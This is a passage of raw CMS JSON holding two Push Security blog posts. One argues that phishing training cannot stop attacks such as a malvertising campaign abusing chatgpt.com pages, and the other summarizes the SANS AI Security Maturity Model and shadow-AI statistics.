service disruption notice: \"We're experiencing high traffic right now. Download our desktop app to continue.\" They click the download button, which redirects to a pixel-perfect clone of ChatGPT's official download page. The file they install is an infostealer.",{"data":875,"content":876,"nodeType":866},{},[877,881,890,894,900],{"data":878,"marks":879,"value":880,"nodeType":865},{},[],"This scenario is fictional, but the campaign behind it isn't. Push researchers ",{"data":882,"content":884,"nodeType":889},{"uri":883},"https://pushsecurity.com/blog/llmshare-malvertising-campaign/",[885],{"data":886,"marks":887,"value":888,"nodeType":865},{},[],"detected and blocked exactly this attack","hyperlink",{"data":891,"marks":892,"value":893,"nodeType":865},{},[]," across multiple customer environments. The attackers had used ChatGPT's own code-rendering feature to build a fully designed fake service page hosted on chatgpt.com itself, then drove traffic to it through search ads targeting queries like \"chatgpt,\" \"chatgpt free,\" and common typos. The destination URL was genuine, and the page looked like a real system notice. Every URL reputation check in the world considers chatgpt.com safe, because it ",{"data":895,"marks":896,"value":899,"nodeType":865},{},[897],{"type":898},"italic","is",{"data":901,"marks":902,"value":903,"nodeType":865},{},[]," safe — except when an attacker builds a weapon inside it.",{"data":905,"content":911,"nodeType":912},{"target":906},{"sys":907},{"id":908,"type":909,"linkType":910},"1GYWOyHpZT1rdTm6IGOKu8","Link","Entry",[],"embedded-entry-block",{"data":914,"content":918,"nodeType":912},{"target":915},{"sys":916},{"id":917,"type":909,"linkType":910},"33VcchmCetvLzSGcbazex3",[],{"data":920,"content":921,"nodeType":866},{},[922],{"data":923,"marks":924,"value":927,"nodeType":865},{},[925],{"type":926},"bold","No amount of training prepares someone to suspect a legitimate-looking page on a legitimate domain for a tool they've been explicitly told to use.",{"data":929,"content":930,"nodeType":866},{},[931,935,945,949,958],{"data":932,"marks":933,"value":934,"nodeType":865},{},[],"These scenarios aren’t unusual. We’ve covered ",{"data":936,"content":938,"nodeType":889},{"uri":937},"https://pushsecurity.com/blog/how-push-stopped-a-high-risk-linkedin-spear-phishing-attack/",[939],{"data":940,"marks":941,"value":944,"nodeType":865},{},[942],{"type":943},"underline","multiple campaigns",{"data":946,"marks":947,"value":948,"nodeType":865},{},[]," involving ",{"data":950,"content":952,"nodeType":889},{"uri":951},"https://pushsecurity.com/blog/new-phishing-campaign-identified-targeting-linkedin-users/",[953],{"data":954,"marks":955,"value":957,"nodeType":865},{},[956],{"type":943},"LinkedIn-delivered",{"data":959,"marks":960,"value":961,"nodeType":865},{},[]," phishing attacks, where attackers compromised LinkedIn accounts and sent phishing links via direct message to first-degree connections — routing victims through trusted sites to a session-harvesting AITM page. The targets had every reason to trust the message: it came from someone they knew, on a platform they used daily for work.",{"data":963,"content":964,"nodeType":866},{},[965],{"data":966,"marks":967,"value":968,"nodeType":865},{},[],"These are the kinds of attacks that organizations are dealing with every single day. And that recent awareness training checkbox makes absolutely zero difference to the outcome. ",{"data":970,"content":971,"nodeType":972},{},[],"hr",{"data":974,"content":975,"nodeType":981},{},[976],{"data":977,"marks":978,"value":980,"nodeType":865},{},[979],{"type":926},"What the research actually shows","heading-1",{"data":983,"content":984,"nodeType":866},{},[985],{"data":986,"marks":987,"value":988,"nodeType":865},{},[],"The evidence on training effectiveness is more nuanced than either side of the debate usually admits — but the conclusion for security leaders is the same regardless of where you land.",{"data":990,"content":991,"nodeType":866},{},[992,996,1004,1008,1014,1018,1026],{"data":993,"marks":994,"value":995,"nodeType":865},{},[],"A ",{"data":997,"content":999,"nodeType":889},{"uri":998},"https://arxiv.org/abs/2506.19899",[1000],{"data":1001,"marks":1002,"value":1003,"nodeType":865},{},[],"2025 study from Purdue University",{"data":1005,"marks":1006,"value":1007,"nodeType":865},{},[]," involving 12,511 employees at a US fintech firm found that anti-phishing training produced no significant effect on click rates (p=0.450) or reporting rates (p=0.417), with effect sizes below 0.01 across every training modality tested. Trained employees actually clicked phishing links at a marginally ",{"data":1009,"marks":1010,"value":1013,"nodeType":865},{},[1011,1012],{"type":898},{"type":926},"higher",{"data":1015,"marks":1016,"value":1017,"nodeType":865},{},[]," rate (10.5%) than the untrained control group (9.8%). A ",{"data":1019,"content":1021,"nodeType":889},{"uri":1020},"https://www.cybersecuritydive.com/news/cybersecurity-awareness-training-research-flaws/803201/",[1022],{"data":1023,"marks":1024,"value":1025,"nodeType":865},{},[],"separate study of 19,789 personnel at UCSD Health",{"data":1027,"marks":1028,"value":1029,"nodeType":865},{},[],", published at IEEE S&P 2025, found that annual training combined with post-click exercises reduced click likelihood by just 2% — and that employees who completed static training actually had worse phishing failure rates. ",{"data":1031,"content":1032,"nodeType":866},{},[1033,1037,1045,1049,1057,1061,1069],{"data":1034,"marks":1035,"value":1036,"nodeType":865},{},[],"Training vendors ",{"data":1038,"content":1040,"nodeType":889},{"uri":1039},"https://hoxhunt.com/blog/the-wall-street-journal-got-it-wrong-phishing-simulations-work-when-done-right",[1041],{"data":1042,"marks":1043,"value":1044,"nodeType":865},{},[],"have argued",{"data":1046,"marks":1047,"value":1048,"nodeType":865},{},[]," that continuous, adaptive, gamified programs produce materially better results, and  a ",{"data":1050,"content":1052,"nodeType":889},{"uri":1051},"https://www.sciencedirect.com/science/article/abs/pii/S0167404823002742",[1053],{"data":1054,"marks":1055,"value":1056,"nodeType":865},{},[],"2024 meta-analysis",{"data":1058,"marks":1059,"value":1060,"nodeType":865},{},[]," supports the claim that active engagement and repeated practice improve outcomes where annual programs don't. The ",{"data":1062,"content":1064,"nodeType":889},{"uri":1063},"https://www.verizon.com/business/resources/reports/dbir/",[1065],{"data":1066,"marks":1067,"value":1068,"nodeType":865},{},[],"Verizon DBIR 2025",{"data":1070,"marks":1071,"value":1072,"nodeType":865},{},[]," found that employees trained within the last 30 days were 4x more likely to report phishing than those trained earlier.",{"data":1074,"content":1075,"nodeType":866},{},[1076,1080,1088],{"data":1077,"marks":1078,"value":1079,"nodeType":865},{},[],"But here's the problem that even the best training program can't solve: Every one of these studies — and virtually every phishing simulation platform on the market — tests email-based phishing. The attacks driving the biggest breaches in 2026 don't arrive by email. They arrive through ",{"data":1081,"content":1083,"nodeType":889},{"uri":1082},"https://pushsecurity.com/blog/analysing-a-sophisticated-google-malvertising-attack/",[1084],{"data":1085,"marks":1086,"value":1087,"nodeType":865},{},[],"search engine ads",{"data":1089,"marks":1090,"value":1091,"nodeType":865},{},[],", social media DMs, shared AI chatbot pages on trusted domains, and legitimate OAuth consent flows. Continuous adaptive training may reduce email phishing click rates from 7% to 1.5%, but it has nothing to say about an employee who googles \"ChatGPT\" and lands on a malware delivery page hosted on chatgpt.com.",{"data":1093,"content":1094,"nodeType":866},{},[1095,1099,1107,1111,1119,1123],{"data":1096,"marks":1097,"value":1098,"nodeType":865},{},[],"The deeper issue is structural. Behavioral science calls it the ",{"data":1100,"content":1102,"nodeType":889},{"uri":1101},"https://en.wikipedia.org/wiki/Information_deficit_model",[1103],{"data":1104,"marks":1105,"value":1106,"nodeType":865},{},[],"information deficit model",{"data":1108,"marks":1109,"value":1110,"nodeType":865},{},[],": the assumption that people make risky decisions because they lack information, and that providing more information will fix the problem. This model has been ",{"data":1112,"content":1114,"nodeType":889},{"uri":1113},"https://pmc.ncbi.nlm.nih.gov/articles/PMC8201414/",[1115],{"data":1116,"marks":1117,"value":1118,"nodeType":865},{},[],"debunked across multiple domains",{"data":1120,"marks":1121,"value":1122,"nodeType":865},{},[],", from public health to environmental protection. ",{"data":1124,"marks":1125,"value":1127,"nodeType":865},{},[1126],{"type":926},"People routinely engage in behaviors they know are risky — not because they lack knowledge, but because immediate pressures outweigh abstract training from months ago.",{"data":1129,"content":1130,"nodeType":866},{},[1131,1135,1140],{"data":1132,"marks":1133,"value":1134,"nodeType":865},{},[],"Training can build security culture, help employees understand why controls exist, and create champions who influence peers - and these are important outcomes. What training ",{"data":1136,"marks":1137,"value":1139,"nodeType":865},{},[1138],{"type":898},"cannot",{"data":1141,"marks":1142,"value":1143,"nodeType":865},{},[]," reliably do is serve as a preventive control for split-second decisions made under cognitive load, time pressure, and competing priorities. To make matters worse, most organizations don't even attempt to measure whether it does. ",{"data":1145,"content":1146,"nodeType":972},{},[],{"data":1148,"content":1149,"nodeType":981},{},[1150],{"data":1151,"marks":1152,"value":1154,"nodeType":865},{},[1153],{"type":926},"The attacks training can't address",{"data":1156,"content":1157,"nodeType":866},{},[1158],{"data":1159,"marks":1160,"value":1161,"nodeType":865},{},[],"Even if the training debate were settled — even if continuous adaptive programs reliably reduced email phishing click rates to near zero — the attacks driving the biggest breaches in 2026 don't look like anything a simulation platform tests for.",{"data":1163,"content":1164,"nodeType":866},{},[1165,1169,1175],{"data":1166,"marks":1167,"value":1168,"nodeType":865},{},[],"The LLMShare campaign described above used a genuine chatgpt.com domain to serve a fake page that looked like a routine system notice — no suspicious URL, no grammatical errors, and no visual tells. ClickFix attacks present as routine CAPTCHAs. ConsentFix operates entirely on legitimate Microsoft infrastructure. Device code phishing asks users to enter a code on a real app page. None of these attacks trigger the signals users were trained to look for, and ",{"data":1170,"marks":1171,"value":1174,"nodeType":865},{},[1172,1173],{"type":943},{"type":926},"4 in 5 ClickFix payloads arrive via search engines",{"data":1176,"marks":1177,"value":1178,"nodeType":865},{},[],", not email.",{"data":1180,"content":1181,"nodeType":866},{},[1182],{"data":1183,"marks":1184,"value":1185,"nodeType":865},{},[],"There are countless scenarios where users performing seemingly benign actions on plausible (or even legitimate) sites can result in a compromise. ",{"data":1187,"content":1191,"nodeType":912},{"target":1188},{"sys":1189},{"id":1190,"type":909,"linkType":910},"29vUtbEUam8fhbwnQdINRJ",[],{"data":1193,"content":1194,"nodeType":866},{},[1195],{"data":1196,"marks":1197,"value":1198,"nodeType":865},{},[],"The lesson isn't that employees are incompetent. It's that the attack surface is too broad, the delivery channels are too varied, and the social engineering too convincing for training to function as a primary control — regardless of how it's designed. ",{"data":1200,"content":1204,"nodeType":912},{"target":1201},{"sys":1202},{"id":1203,"type":909,"linkType":910},"7zH48txL9ToiUlgLBHrkng",[],{"data":1206,"content":1207,"nodeType":972},{},[],{"data":1209,"content":1210,"nodeType":981},{},[1211],{"data":1212,"marks":1213,"value":1215,"nodeType":865},{},[1214],{"type":926},"Real-time intervention where attacks execute",{"data":1217,"content":1218,"nodeType":866},{},[1219,1223,1228,1236],{"data":1220,"marks":1221,"value":1222,"nodeType":865},{},[],"The browser is where every phishing attack, credential-harvesting attempt, and social engineering campaign ultimately executes — and where ",{"data":1224,"marks":1225,"value":1227,"nodeType":865},{},[1226],{"type":926},"89% of phishing domains are active for fewer than two days, ",{"data":1229,"content":1231,"nodeType":889},{"uri":1230},"https://pushsecurity.com/blog/the-case-for-best-of-breed-browser-security/",[1232],{"data":1233,"marks":1234,"value":1235,"nodeType":865},{},[],"95% of attacks use bot protection to defeat automated scanners",{"data":1237,"marks":1238,"value":1239,"nodeType":865},{},[],", and traditional security architectures have a structural blind spot. ",{"data":1241,"content":1242,"nodeType":866},{},[1243],{"data":1244,"marks":1245,"value":1246,"nodeType":865},{},[],"Network tools see encrypted traffic. Endpoint agents see processes and files. Email security sees messages in transit. None of them can intervene when a user is about to enter credentials into a fake login page.",{"data":1248,"content":1249,"nodeType":866},{},[1250,1254,1262],{"data":1251,"marks":1252,"value":1253,"nodeType":865},{},[],"Browser-based detection and response addresses both the prevention gap and the training gap simultaneously. As a technical control, Push ",{"data":1255,"content":1257,"nodeType":889},{"uri":1256},"https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/",[1258],{"data":1259,"marks":1260,"value":1261,"nodeType":865},{},[],"detects and blocks phishing pages behaviorally",{"data":1263,"marks":1264,"value":1265,"nodeType":865},{},[]," — including AiTM kits, cloned login forms, device code phishing pages, and ClickFix malicious-copy-and-paste events — in real time, regardless of whether the domain is brand-new or the phishing page was delivered via email, social media, or a search ad. ",{"data":1267,"content":1268,"nodeType":866},{},[1269],{"data":1270,"marks":1271,"value":1272,"nodeType":865},{},[],"Push stops the attack as it happens, in real time, before a compromise occurs.",{"data":1274,"content":1275,"nodeType":866},{},[1276],{"data":1277,"marks":1278,"value":1279,"nodeType":865},{},[],"As a contextual education mechanism, Push provides immediate, in-browser feedback when a user encounters a threat — explaining why access was blocked and creating teachable moments at the point of need rather than months before. Every blocked threat becomes a micro-learning opportunity, reinforcing pattern recognition through repetition in the context of the user's actual work. ",{"data":1281,"content":1282,"nodeType":866},{},[1283,1287,1294,1298,1305],{"data":1284,"marks":1285,"value":1286,"nodeType":865},{},[],"Push's ",{"data":1288,"content":1289,"nodeType":889},{"uri":1256},[1290],{"data":1291,"marks":1292,"value":1293,"nodeType":865},{},[],"in-browser controls",{"data":1295,"marks":1296,"value":1297,"nodeType":865},{},[]," are designed to work this way — not by removing users from the security equation, but by making them informed participants. Warn screens with \"proceed anyway\" options, SSO login guidance, and MFA enforcement prompts respect user agency while providing real-time risk context. Our ",{"data":1299,"content":1300,"nodeType":889},{"uri":1256},[1301],{"data":1302,"marks":1303,"value":1304,"nodeType":865},{},[],"controls guide",{"data":1306,"marks":1307,"value":1308,"nodeType":865},{},[]," covers how security teams can configure these guardrails to match their organizational culture and risk tolerance.",{"data":1310,"content":1311,"nodeType":1317},{},[1312],{"data":1313,"marks":1314,"value":1316,"nodeType":865},{},[1315],{"type":926},"Right-sizing security training","heading-2",{"data":1319,"content":1320,"nodeType":866},{},[1321],{"data":1322,"marks":1323,"value":1324,"nodeType":865},{},[],"Training's role must be right-sized. It builds culture, shared vocabulary, and explains why controls exist — but it cannot reliably serve as the primary preventive control against sophisticated attacks encountered months later under pressure. ",{"data":1326,"content":1327,"nodeType":866},{},[1328],{"data":1329,"marks":1330,"value":1331,"nodeType":865},{},[],"The Purdue study's authors recommend that \"organizations should set realistic expectations about training outcomes and highlight the importance of technical controls rather than human-centered defenses.\" We agree.",{"data":1333,"content":1334,"nodeType":866},{},[1335],{"data":1336,"marks":1337,"value":1338,"nodeType":865},{},[],"Invest in technical controls where attacks execute — in the browser — to provide real-time prevention, detection, and education. Measure what matters: reduction in successful compromise, detection and response time, and employee reporting rates — not training completion. And stop expecting employees to reliably detect pixel-perfect attacks across every channel and workflow. ",{"data":1340,"content":1341,"nodeType":866},{},[1342],{"data":1343,"marks":1344,"value":1346,"nodeType":865},{},[1345],{"type":926},"Overrelying on user vigilance isn't a legitimate security strategy: it's blame allocation.",{"data":1348,"content":1349,"nodeType":972},{},[],{"data":1351,"content":1352,"nodeType":866},{},[1353],{"data":1354,"marks":1355,"value":1356,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.",{"data":1358,"content":1359,"nodeType":866},{},[1360],{"data":1361,"marks":1362,"value":1363,"nodeType":865},{},[],"Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.",{"data":1365,"content":1366,"nodeType":866},{},[1367,1370,1379],{"data":1368,"marks":1369,"value":21,"nodeType":865},{},[],{"data":1371,"content":1373,"nodeType":889},{"uri":1372},"https://pushsecurity.com/demo",[1374],{"data":1375,"marks":1376,"value":1378,"nodeType":865},{},[1377],{"type":943},"Book a live demo to learn more.",{"data":1380,"marks":1381,"value":21,"nodeType":865},{},[],"document",{"entries":1384},{"hyperlink":1385,"inline":1386,"block":1387},[],[],[1388,1397,1404,1412],{"sys":1389,"__typename":1390,"title":1391,"caption":1392,"layoutMode":59,"file":1393},{"id":908},"Image","LLMShare malvertising","The LLMShare ad uses the legitimate ChatGPT domain and is the top result.",{"url":1394,"width":1395,"height":1396},"https://images.ctfassets.net/y1cdw1ablpvd/1aLEhiVJcLPIR4rXdzoCTv/d87eb30284e61ab813ccf9e662a1fbae/image.png",1910,1005,{"sys":1398,"__typename":1390,"title":1399,"caption":1399,"layoutMode":59,"file":1400},{"id":917},"The clever use of sharing functionality and pixel-perfect download page clone would fool most users (and most technical controls too) — but not Push. ",{"url":1401,"width":1402,"height":1403},"https://images.ctfassets.net/y1cdw1ablpvd/7u7yyvyg3P9jepZi7iIwxf/d2c42d257d2e7ac4dfe28c37aa69a4b3/image4.png",1999,875,{"sys":1405,"__typename":1390,"title":1406,"caption":1407,"layoutMode":59,"file":1408},{"id":1190},"Don't make employees the weak link image - blog - custom branding","It's harder than ever for users to identify malicious content on the web, with attackers abusing an ever-increasing list of actions that feel pretty normal to users, with a wide range of malicious payloads.",{"url":1409,"width":1410,"height":1411},"https://images.ctfassets.net/y1cdw1ablpvd/2aSm6QBWDOU6JBtOLfyp6R/d63cacab198ef9b325cbcfdbe0373b5a/Browser_Attacks_Targeting_Users__1_.png",4046,2160,{"sys":1413,"__typename":1414,"type":1415,"ctaText":1416,"buttonLabel":1417,"buttonColour":1418,"buttonUrl":1419},{"id":1203},"CtaWidget","Custom","For a detailed breakdown of the techniques driving the biggest breaches of the past year, see our 2026 Browser Attack Techniques report.","Download now (no gates!)","sunny orange","https://pushsecurity.com/thank-you/browser-attacks-report",{"items":1421},[],{},"Why your training budget belongs in browser security","thought-leadership","2026-06-24T00:00:00.000Z",{"items":1427},[1428,2319,3363],{"__typename":1429,"sys":1430,"content":1432,"title":2303,"synopsis":2304,"hashTags":59,"publishedDate":1425,"slug":2305,"tagsCollection":2306,"authorsCollection":2315},"BlogPosts",{"id":1431},"6Xn377JQfbDz49Np74cbGl",{"json":1433},{"data":1434,"content":1435,"nodeType":1382},{},[1436,1443,1474,1492,1498,1505,1521,1524,1532,1551,1617,1624,1630,1637,1720,1727,1734,1750,1753,1761,1768,1775,1783,1790,1802,1808,1815,1822,1829,1832,1840,1856,1872,1879,1886,1893,1914,2000,2007,2014,2017,2025,2041,2048,2055,2063,2066,2074,2092,2099,2106,2139,2146,2153,2156,2164,2171,2183,2189,2201,2213,2219,2231,2253,2260,2263,2271,2278,2284],{"data":1437,"content":1438,"nodeType":866},{},[1439],{"data":1440,"marks":1441,"value":1442,"nodeType":865},{},[],"Most security leaders I talk to know they have an AI problem. They've seen the board questions, read the reports, maybe even drafted a policy. But when they start measuring where they stand — not plans or roadmaps, but actual current state — the gap between awareness and operational capability comes into focus.",{"data":1444,"content":1445,"nodeType":866},{},[1446,1450,1458,1462,1470],{"data":1447,"marks":1448,"value":1449,"nodeType":865},{},[],"The ",{"data":1451,"content":1453,"nodeType":889},{"uri":1452},"https://pushsecurity.com/blog/verizon-dbir-2026-review",[1454],{"data":1455,"marks":1456,"value":1457,"nodeType":865},{},[],"2026 Verizon DBIR",{"data":1459,"marks":1460,"value":1461,"nodeType":865},{},[]," quantifies the scale: 45% of employees are now regular AI users on corporate devices (up from 15% the prior year), with 67% using personal accounts. ",{"data":1463,"content":1465,"nodeType":889},{"uri":1464},"https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai",[1466],{"data":1467,"marks":1468,"value":1469,"nodeType":865},{},[],"Push data",{"data":1471,"marks":1472,"value":1473,"nodeType":865},{},[]," further shows that 38% of file uploads to AI tools come from those shadow accounts rather than approved organizational ones — and the DBIR shows what's going into them: of 858,000+ DLP events targeting GenAI applications, the most common data types were source code (28%), structured data (14%), and documents and PDFs (23% combined).",{"data":1475,"content":1476,"nodeType":866},{},[1477,1481,1488],{"data":1478,"marks":1479,"value":1480,"nodeType":865},{},[],"The average organization now has ",{"data":1482,"content":1483,"nodeType":889},{"uri":1464},[1484],{"data":1485,"marks":1486,"value":1487,"nodeType":865},{},[],"16 unique AI apps, 17 AI browser extensions, and 17 AI OAuth integrations",{"data":1489,"marks":1490,"value":1491,"nodeType":865},{},[]," in active use, most unapproved. Shadow AI was the third most common non-malicious insider action in the DBIR, up 4x year over year.",{"data":1493,"content":1497,"nodeType":912},{"target":1494},{"sys":1495},{"id":1496,"type":909,"linkType":910},"2hsKQ9DEspflhmtR0bE7QY",[],{"data":1499,"content":1500,"nodeType":866},{},[1501],{"data":1502,"marks":1503,"value":1504,"nodeType":865},{},[],"These statistics expose an attack surface and unmanaged risks at a high level. But the real problem is that most organizations can't produce a basic inventory of which AI tools are in use, let alone demonstrate controls around any of them. ",{"data":1506,"content":1507,"nodeType":866},{},[1508,1512,1517],{"data":1509,"marks":1510,"value":1511,"nodeType":865},{},[],"That gap between awareness and capability is where most organizations are stuck. And understanding ",{"data":1513,"marks":1514,"value":1516,"nodeType":865},{},[1515],{"type":898},"why",{"data":1518,"marks":1519,"value":1520,"nodeType":865},{},[]," they're stuck requires a framework for what progress actually looks like.",{"data":1522,"content":1523,"nodeType":972},{},[],{"data":1525,"content":1526,"nodeType":981},{},[1527],{"data":1528,"marks":1529,"value":1531,"nodeType":865},{},[1530],{"type":926},"A model for measuring what most organizations already feel",{"data":1533,"content":1534,"nodeType":866},{},[1535,1539,1547],{"data":1536,"marks":1537,"value":1538,"nodeType":865},{},[],"Chris Cochran's ",{"data":1540,"content":1542,"nodeType":889},{"uri":1541},"https://sansorg.egnyte.com/dl/XtgqfjkjBjp8",[1543],{"data":1544,"marks":1545,"value":1546,"nodeType":865},{},[],"SANS AI Security Maturity Model",{"data":1548,"marks":1549,"value":1550,"nodeType":865},{},[],", published earlier this year, provides a framework for addressing this gap. It defines five stages of AI security maturity across three pillars:",{"data":1552,"content":1553,"nodeType":1616},{},[1554,1571,1587],{"data":1555,"content":1556,"nodeType":1570},{},[1557],{"data":1558,"content":1559,"nodeType":866},{},[1560,1566],{"data":1561,"marks":1562,"value":1565,"nodeType":865},{},[1563,1564],{"type":926},{"type":943},"Protect AI:",{"data":1567,"marks":1568,"value":1569,"nodeType":865},{},[]," Defending against AI-enabled threats like adversarial attacks, prompt injection, compromised browser extensions, and AI agents operating with unchecked permissions.","list-item",{"data":1572,"content":1573,"nodeType":1570},{},[1574],{"data":1575,"content":1576,"nodeType":866},{},[1577,1583],{"data":1578,"marks":1579,"value":1582,"nodeType":865},{},[1580,1581],{"type":926},{"type":943},"Utilize AI:",{"data":1584,"marks":1585,"value":1586,"nodeType":865},{},[]," Using AI to strengthen security operations by using AI-powered detection and triage, behavioral analytics, and automated response playbooks.",{"data":1588,"content":1589,"nodeType":1570},{},[1590],{"data":1591,"content":1592,"nodeType":866},{},[1593,1599,1603,1612],{"data":1594,"marks":1595,"value":1598,"nodeType":865},{},[1596,1597],{"type":926},{"type":943},"Govern AI:",{"data":1600,"marks":1601,"value":1602,"nodeType":865},{},[]," Managing how the organization adopts and uses AI tools. Things like acceptable use policies, shadow AI discovery, data classification, access controls, and risk assessment. This is the pillar that gets the most attention in boardroom conversations today, driven in part by ",{"data":1604,"content":1606,"nodeType":889},{"uri":1605},"https://pushsecurity.com/blog/browser-visibility-and-control-can-achieve-ai-compliance",[1607],{"data":1608,"marks":1609,"value":1611,"nodeType":865},{},[1610],{"type":943},"regulatory pressure",{"data":1613,"marks":1614,"value":1615,"nodeType":865},{},[],".","unordered-list",{"data":1618,"content":1619,"nodeType":866},{},[1620],{"data":1621,"marks":1622,"value":1623,"nodeType":865},{},[],"How an organization invests across these three pillars, and whether it invests across all of them, determines whether it advances toward maturity in this area or stalls out at the early steps.",{"data":1625,"content":1629,"nodeType":912},{"target":1626},{"sys":1627},{"id":1628,"type":909,"linkType":910},"1JV3KG97JQNFKwODnMCMq2",[],{"data":1631,"content":1632,"nodeType":866},{},[1633],{"data":1634,"marks":1635,"value":1636,"nodeType":865},{},[],"The SANS AI maturity model outlines 5 stages that organizations must progress through in order to reach an optimal security posture:",{"data":1638,"content":1639,"nodeType":1616},{},[1640,1656,1672,1688,1704],{"data":1641,"content":1642,"nodeType":1570},{},[1643],{"data":1644,"content":1645,"nodeType":866},{},[1646,1652],{"data":1647,"marks":1648,"value":1651,"nodeType":865},{},[1649,1650],{"type":926},{"type":943},"Stage 1 (Unaware / Ad Hoc)",{"data":1653,"marks":1654,"value":1655,"nodeType":865},{},[]," is where employees are freely using AI tools with no oversight, no inventory exists, and leadership may not even know how much AI is in use. There's no policy to violate, so technically it's not even shadow AI yet; it's just unmanaged adoption.",{"data":1657,"content":1658,"nodeType":1570},{},[1659],{"data":1660,"content":1661,"nodeType":866},{},[1662,1668],{"data":1663,"marks":1664,"value":1667,"nodeType":865},{},[1665,1666],{"type":926},{"type":943},"Stage 2 (Reactive / Policy-Emerging)",{"data":1669,"marks":1670,"value":1671,"nodeType":865},{},[]," means a policy exists, but it's course-grained: \"Don't use AI\" or \"use with caution.\" Known AI tools may be blocked at the network level. Security teams are learning about AI-specific threats but don't have dedicated expertise or tooling.",{"data":1673,"content":1674,"nodeType":1570},{},[1675],{"data":1676,"content":1677,"nodeType":866},{},[1678,1684],{"data":1679,"marks":1680,"value":1683,"nodeType":865},{},[1681,1682],{"type":926},{"type":943},"Stage 3 (Defined / Risk-Informed)",{"data":1685,"marks":1686,"value":1687,"nodeType":865},{},[]," is where things get intentional. AI usage is governed through enterprise tools rather than outright bans. AI systems are included in security assessments. The organization can demonstrate mature governance to regulators and partners. For many organizations, this is a strong and defensible operating position.",{"data":1689,"content":1690,"nodeType":1570},{},[1691],{"data":1692,"content":1693,"nodeType":866},{},[1694,1700],{"data":1695,"marks":1696,"value":1699,"nodeType":865},{},[1697,1698],{"type":926},{"type":943},"Stage 4 (Managed / Integrated)",{"data":1701,"marks":1702,"value":1703,"nodeType":865},{},[]," means AI is deeply embedded in security operations with measurable outcomes. AI systems are secured by design. Risk is quantified, not estimated. Decisions are data-driven. This is where organizations can handle AI-specific threats and operate at the tempo that AI-augmented adversaries demand.",{"data":1705,"content":1706,"nodeType":1570},{},[1707],{"data":1708,"content":1709,"nodeType":866},{},[1710,1716],{"data":1711,"marks":1712,"value":1715,"nodeType":865},{},[1713,1714],{"type":926},{"type":943},"Stage 5 (Optimizing / Adaptive)",{"data":1717,"marks":1718,"value":1719,"nodeType":865},{},[]," is the frontier of AI-native security with self-improving defenses. Elements of this stage exist primarily in large technology companies, defense contractors, and AI-native firms. For most organizations, this is a multi-year journey.",{"data":1721,"content":1722,"nodeType":866},{},[1723],{"data":1724,"marks":1725,"value":1726,"nodeType":865},{},[],"Most of the security leaders I talk to land between Stage 1 and Stage 2. They have awareness, maybe a policy, but not the tooling or telemetry to demonstrate much beyond that. ",{"data":1728,"content":1729,"nodeType":866},{},[1730],{"data":1731,"marks":1732,"value":1733,"nodeType":865},{},[],"The model is pragmatic about these challenges. It doesn't expect every organization to reach Stage 5, and it adjusts maturity targets by sector. ",{"data":1735,"content":1736,"nodeType":866},{},[1737,1741,1746],{"data":1738,"marks":1739,"value":1740,"nodeType":865},{},[],"But it ",{"data":1742,"marks":1743,"value":1745,"nodeType":865},{},[1744],{"type":898},"does",{"data":1747,"marks":1748,"value":1749,"nodeType":865},{},[]," require evidence of progress, not just intent. And for the majority sitting at Stage 2, the hard part is identifying the right steps to move from being merely reactive to a posture of operational readiness. That’s the chasm to cross.",{"data":1751,"content":1752,"nodeType":972},{},[],{"data":1754,"content":1755,"nodeType":981},{},[1756],{"data":1757,"marks":1758,"value":1760,"nodeType":865},{},[1759],{"type":926},"The chasm",{"data":1762,"content":1763,"nodeType":866},{},[1764],{"data":1765,"marks":1766,"value":1767,"nodeType":865},{},[],"For the organizations sitting at Stage 2, current state often looks like this: They've written an AI acceptable use policy, and maybe they've blocked known AI apps at the network level. They've trained employees on what's allowed and what isn't. ",{"data":1769,"content":1770,"nodeType":866},{},[1771],{"data":1772,"marks":1773,"value":1774,"nodeType":865},{},[],"To be sure, blocking is the fastest lever a security team can pull, and it represents visible progress to the business. The problem is that it rarely stays effective. ",{"data":1776,"content":1777,"nodeType":866},{},[1778],{"data":1779,"marks":1780,"value":1782,"nodeType":865},{},[1781],{"type":926},"SANS calls the pattern that traps most organizations at Stage 2 the \"Framework of No.\" ",{"data":1784,"content":1785,"nodeType":866},{},[1786],{"data":1787,"marks":1788,"value":1789,"nodeType":865},{},[],"\"A block-based AI policy may feel like risk management, but practitioner experience shows it typically drives AI usage underground rather than preventing it,” the report notes. “This is the pattern SANS has documented as the 'Framework of No,' and it is why the Stage 2 to Stage 3 transition is so critical.\"",{"data":1791,"content":1792,"nodeType":866},{},[1793,1798],{"data":1794,"marks":1795,"value":1797,"nodeType":865},{},[1796],{"type":898},"This",{"data":1799,"marks":1800,"value":1801,"nodeType":865},{},[]," is the chasm. On one side: awareness and policy. On the other: operational capability - the tooling, telemetry, and controls that let a security team see what's happening and respond to it. Most organizations are standing on the awareness side, looking across, not sure how to get over.",{"data":1803,"content":1807,"nodeType":912},{"target":1804},{"sys":1805},{"id":1806,"type":909,"linkType":910},"187mKPZV8tVbsw17L2cWIU",[],{"data":1809,"content":1810,"nodeType":866},{},[1811],{"data":1812,"marks":1813,"value":1814,"nodeType":865},{},[],"The model is specific about what crossing requires. The steps from Stage 2 to Stage 3 include technical BYOAI discovery (not a survey, but automated discovery), AI-specific data classification, AI-aware controls, and a cross-functional governance body. Data classification is a critical prerequisite: \"You cannot write an effective AI policy without knowing where sensitive data lives,\" the report emphasizes.",{"data":1816,"content":1817,"nodeType":866},{},[1818],{"data":1819,"marks":1820,"value":1821,"nodeType":865},{},[],"These are visibility and measurement problems before they're policy problems. You can't govern what you can't see. You can't classify risk you can't measure. And a blocklist that pushes usage underground doesn't give you either: it just makes the gap between your policy and your reality harder to detect.",{"data":1823,"content":1824,"nodeType":866},{},[1825],{"data":1826,"marks":1827,"value":1828,"nodeType":865},{},[],"Getting this visibility right is necessary for crossing the chasm. But it’s not the only step organizations must undertake if they want to address their AI risk.",{"data":1830,"content":1831,"nodeType":972},{},[],{"data":1833,"content":1834,"nodeType":981},{},[1835],{"data":1836,"marks":1837,"value":1839,"nodeType":865},{},[1838],{"type":926},"Governance is key, but don't forget about 